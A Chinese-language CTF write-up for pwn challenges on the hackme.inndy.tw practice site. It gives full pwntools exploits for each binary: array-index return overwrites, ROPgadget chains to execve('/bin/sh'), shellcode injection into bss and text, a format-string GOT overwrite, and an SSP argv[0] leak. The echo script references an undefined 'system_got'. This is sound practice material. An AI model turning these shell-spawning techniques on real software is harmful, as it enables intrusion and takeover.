hackme.inndy 上pwn的wp,题目难度不大
catfalg 签到题,直接nc连接,cat flag
homework 根据题目提示是数组越界漏洞,给了源码https://hackme.inndy.tw/static/pwn-easy.c 可以看到对数组下表并没有做检查,导致越界。
ida分析,可以通过越界arr来覆盖run_program的返回地址到call_me_maybe函数的地址即可
数组的首地址为ebp-34h,所以arr与ebp之间的偏移为0x34=52个字节。 52+ ebp + ret = 60 字节 60/4=15,即相对于arr来说,ret的索引为14 call_me_maybe 的地址为0x80485FB 最后exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *r = remote("hackme.inndy.tw" ,7701 ) call_me_maybe=0x80485FB r.sendlineafter("name? " ,"pwn" ) r.sendlineafter("> " ,"1" ) r.sendlineafter("edit: " ,"14" ) r.sendlineafter("many? " ,str(call_me_maybe)) r.sendlineafter("> " ,"0" ) r.interactive()
rop
很简单的栈溢出,只开启了NX保护,静态链接 偏移为0xc+0x4=16 题目提示使用rop,使用ROPgadget构造一个ropROPgadget --binary rop --ropchain
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *from struct import packp = '' p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080b8016 ) p += '/bin' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea064 ) p += pack('<I' , 0x080b8016 ) p += '//sh' p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0805466b ) p += pack('<I' , 0x080481c9 ) p += pack('<I' , 0x080ea060 ) p += pack('<I' , 0x080de769 ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x0806ecda ) p += pack('<I' , 0x080ea068 ) p += pack('<I' , 0x080492d3 ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0807a66f ) p += pack('<I' , 0x0806c943 ) r = remote('hackme.inndy.tw' ,7704 ) r.send('a' *16 +p) r.interactive()
rop2 checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
ida f5代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int __cdecl main(int argc, const char **argv, const char **envp){ int v4; int v5; int v6; int v7; int v8; int v9; int v10; int v11; int v12; int v13; __int16 v14; char v15; alarm(0x1E u); v4 = ' naC' ; v5 = ' uoy' ; v6 = 'vlos' ; v7 = 'ht e' ; v8 = '\n?si' ; v9 = 'eviG' ; v10 = ' em ' ; v11 = 'ruoy' ; v12 = 'por ' ; v13 = 'iahc' ; v14 = ':n' ; v15 = 0 ; syscall(4 , 1 , &v4, 42 ); overflow (); return 0 ; }
ida没能够识别出v4到v14的变量类型,v4的地址为bp-0x33,v15为bp-0x9,因此字符串长度为0x33 - 0x9 = 42,在v4上y一下,然后在弹出来的窗口上填入推断出来的数据类型char v4[42],调整后为
1 2 3 4 5 6 7 8 9 10 int __cdecl main(int argc, const char **argv, const char **envp){ char v4[42 ]; alarm(0x1E u); strcpy(v4, "Can you solve this?\nGive me your ropchain:" ); syscall(4 , 1 , v4, 42 ); overflow(); return 0 ; }
overflow()
1 2 3 4 5 6 7 8 int overflow(){ char v1; syscall(3 , 0 , &v1, 1024 ); return syscall(4 , 1 , &v1, 1024 ); }
这里涉及到了调用syscall,可查阅http://shell-storm.org/shellcode/files/syscalls.html 得知,程序中的syscall(4,1,&v4,42) 和syscall(3,0,&v1,1024) 分别调用了write()函数和read函数的系统调用,在v1只有0xc大小却读取了1024字节导致溢出。 这次不能直接利用ROPgadget找rop,考虑使用syscall执行系统命令,execve()的编号是11,所以最终要执行syscall(11, “/bin/sh”, 0, 0),即execve(“/bin/sh”, 0, 0),文件中没有/bin/sh字符串,所以还需要写入/bin/sh到bss段
首先利用 syscall() 调用 read,从标准输入读入 /bin/sh,写入 bss。执行完之后再执行一遍overflow()
然后利用 syscall() 调用 execve,获取shell
syscall函数的调用方法是:调用地址 + 返回地址 + 参数 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * p=process('./rop2') elf = ELF('./rop2') bss = elf.bss() syscall = elf.symbols['syscall'] overflow = elf.symbols['overflow'] if args.G: gdb.attach(p) payload = 'a'*0xC + 'bbbb' + p32(syscall) + p32(overflow) payload += p32(3) + p32(0) + p32(bss) + p32(8) p.send(payload) p.send("/bin/sh\x00" ) payload1 = 'a'*0xc + "BBBB" + p32(syscall) + p32(0xdeadbeaf) payload1 += p32(0xb) + p32(bss) + p32(0) + p32(0) p.send(payload1) p.interactive()
toooomuch 很简单,ida查看获得passcode,然后nc连接上,二分法猜数字即可
toooomuch2 题目和上题一样只是这次要求getshell
1 2 3 4 5 6 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
什么都没有开 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int toooomuch () { int result; char s; printf ("Give me your passcode: " ); gets(&s); strcpy (passcode, &s); if ( check_passcode() ) result = play_a_game(); else result = puts ("You are not allowed here!" ); return result; }
gets存在溢出,什么保护都没有开 这题有两种解法:
一种是把shellcode写到bss段上然后返回到bss段执行。
另一种是直接把system执行用到的参数写到bss段,因为程序里面有system函数,可以溢出到system函数的地址,然后布置参数。
exp1:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * r = remote('hackme.inndy.tw', 7702) elf=ELF('./toooomuch') bss= elf.bss() gets=elf.symbols['gets'] sc=asm(shellcraft.sh()) payload = 'a'*0x1c+p32(gets)+p32(bss)+p32(bss) r.sendlineafter('passcode: ',payload) r.sendline(sc) r.interactive()
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *# r = process('./toooomuch' ) r = remote('hackme.inndy.tw' , 7702 ) elf=ELF('./toooomuch' ) system =elf.symbols['system' ]passcode=elf.symbols['passcode' ] payload = '/bin/sh\x00' +'a' *20 +p32(system )+p32(0xdeadbeaf )+p32(passcode) r.sendlineafter('passcode: ' ,payload) r.interactive()
system函数的调用方法是:调用地址 + 返回地址 + 参数地址
echo 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char s; unsigned int v4; v4 = __readgsdword(0x14 u); setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); do { fgets(&s, 256 , stdin ); printf (&s); } while ( strcmp (&s, "exit\n" ) ); system("echo Goodbye" ); exit (0 ); }
很简单的格式化字符串漏洞,代码里还有system函数,考虑将print的got地址覆盖成system的plt的地址,第二步输入/bin/sh,这样执行printf(‘/bin/sh’)的时候就执行了system(‘/bin/sh’),可以用pwntools的fmt工具,确定一下偏移AAAA%p%p%p%p%p%p%p%p
,AAAA%7$8x
,偏移为7
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * r=process('./echo') elf=ELF('./echo') print_got=elf.got['printf'] system_plt=elf.symbols['system'] payload=fmtstr_payload(7,{print_got:system_got}) r.sendline(payload) r.sendlineafter('\n','/bin/sh\x00') r.interactive()
smashthestack 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
开启了cannary和nx 代码 先读取flag到buf,后面的read存在溢出 这题要利用的ssp报错的方法泄漏出flag,在ctf-wiki中有介绍:stack-smash 典型的canary leak,在程序启动canary保护之后,如果发现 canary 被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串。
1 2 3 4 5 6 7 8 9 10 11 void __attribute__ ((noreturn) ) __stack_chk_fail (void ) { __fortify_fail ("stack smashing detected" ); } void __attribute__ ((noreturn) ) internal_function __fortify_fail (const char *msg) { while (1 ) __libc_message (2 , "*** %s ***: %s terminated\n" , msg, __libc_argv[0 ] ?: "<unknown>" ); }
所以将libc_argv[0]覆盖为存放flag的地址,在write处下断查看 libc_argv[0]的偏移, flag保存在bss
所以最后exp:
1 2 3 4 5 6 7 8 9 from pwn import *r = remote('hackme.inndy.tw' , 7717 ) # r=process('./smash-the-stack' ) payload = 'a' * 188 + p32(0x0804A060 ) r.sendlineafter('Try to read the flag\n' ,payload) r.interactive()
onepunch 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; _BYTE *v6; unsigned __int64 v7; v7 = __readfsqword(0x28 u); setbuf(_bss_start, 0L L); printf ("Where What?" , 0L L); v5 = __isoc99_scanf("%llx %d" , &v6, &v4); if ( v5 != 2 ) return 0 ; *v6 = v4; if ( v4 == 255 ) puts ("No flag for you" ); return 0 ; }
发现存在一字节的写入漏洞,但是不知道怎么利用,后来参考了其他师傅的wp,才知道怎么做。
运行查看各个段 发现代码段为rwxp权限,结合一字节任意读写,构造一个循环,写入shellcode,再跳转到shellcode就可以了,虽然开启了nx,但是不在栈上执行,所以没关系。
改变程序流程: 在ida里面查看机器码,将number修改为4
rename一下需要跳转到的段loc_40071D
然后使用keypatch来修改汇编代码,跳转到该段,使其构成一个循环
最终效果 修改后,可以发现跳转处的机器码由75 0A变成了75 B4,所以就知道该怎么patch了,开始写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(arch='amd64' ,log_level='debug' ) # r=process('./onepunch' ) r=remote('hackme.inndy.tw' ,7718 ) def patch(addr,value ): r.sendlineafter('Where What?' ,"%s %s" % (hex(addr), str(value ))) patch(0x400768 ,0xb4 ) sc=asm(shellcraft.sh()) addr=0x400769 # to write shellcode address for i,j in enumerate(sc): patch(addr+i,ord(j)) patch(0x400768 ,0xff ) r.interactive()
第一次写,把jnz跳转的地址(0x400768)改为main函数的地址
之后,分多次将shellcode一字节的写入text段的一个位置
最后一次输入255就跳到shellcode了
参考